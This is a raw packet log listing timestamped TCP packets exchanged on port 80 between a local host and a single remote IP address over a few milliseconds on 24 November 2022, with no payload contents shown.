Nov 24, 2022 13:27:53.109221935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109241009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109256029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.109260082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109278917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109292030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.109297037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109314919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109333038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109334946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.109352112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109363079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.109369993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109394073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.110141039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110161066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110179901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110198975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110209942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.110218048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110238075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110248089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.110255957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110271931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.110274076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110292912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110301018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.110311031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110328913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.110351086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.110378027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.110996962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111016989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111036062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111056089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111076117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111078978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.111093998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111102104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.111113071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111131907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111140013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.111156940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111176014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111193895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111198902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.111212969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111232042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.111264944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.111915112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111934900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111953020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111973047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.111989021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112001896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.112020016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.112371922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112390995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112410069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112428904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112447023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112463951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112464905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.112483978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112484932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.112493992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.112503052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112523079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112540960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.112543106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112560987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112580061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112582922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.112597942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.112618923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.112648010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.113270998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113291025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113310099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113328934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113348961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113353968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.113368034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113379002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.113388062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113406897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113425016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113432884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.113444090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113461971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113465071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.113480091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113492012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.113498926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.113502979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.113553047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114195108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114216089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114234924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114253044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114270926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114289045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114294052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114294052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114321947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114483118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114500999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114533901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114551067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114552021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114559889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114573002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114577055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114592075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114609957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.114619970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114664078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.114797115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.115123034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115142107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115159988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115180969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115192890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.115201950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115220070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115226030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.115240097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115258932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115262985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.115278006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115294933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115303040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.115314007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.115339041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.116117001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116136074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116153955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116173029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116184950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.116192102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116210938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116215944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.116230011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116249084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116267920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116286993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116288900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.116303921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.116303921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.116307020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116326094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116343975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116352081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.116362095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116410017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.116842031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.116913080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117043018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117063999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117084026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117103100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117122889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117131948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117141008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117160082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117166996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117178917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117187023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117198944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117217064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117235899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117244005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117254019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117271900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117321968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117321968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117757082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117778063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117796898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117815971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117837906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117842913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117856026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117873907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117892981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117893934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117909908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117909908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117913008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117932081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117949963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117969036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117979050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.117986917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.117997885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.118005991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118103981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.118644953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118666887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118685007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118704081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118721008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.118722916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118741035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118750095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.118758917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118777990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118793011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.118797064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118817091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118819952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.118835926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118853092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.118855000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118881941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118902922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.118906975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.118959904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119307995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119327068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119359016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119376898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119385958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119395018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119425058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119451046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119577885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119597912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119616032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119628906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119647026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119668007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119673967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119684935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119709015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119719028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119719028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119729042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119749069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119767904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119785070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119797945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119816065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119816065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119817972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119832993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.119836092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.119884014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.120270014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120289087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120307922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120326042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120345116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120347977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.120364904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120379925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.120383978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120404005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120417118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.120423079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120441914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120445013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.120460033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120479107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120495081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.120500088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120521069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120523930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.120541096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120553017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.120558977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.120614052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121041059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121062040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121082067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121102095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121109962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121120930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121139050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121140003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121157885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121176958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121208906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121218920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121238947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121256113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121274948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121293068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121294022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121311903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121330023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121330976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121351004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121368885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121370077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121391058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121408939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121422052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121428013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121440887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.121443033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121557951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.121994019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122013092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122040033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122057915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122077942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122097015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122128010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.122129917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122128963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.122148991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122149944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.122173071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122189999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122205019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122217894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122240067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.122282028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122303009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122322083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122340918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122354031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.122354031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.122361898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122375011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122389078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122406960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122523069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.122523069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.122945070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122977018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.122997046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123029947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123049974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123064995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123069048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123089075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.123090982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.123107910 CET	80	49702	66.235.200.147	192.168.2.4
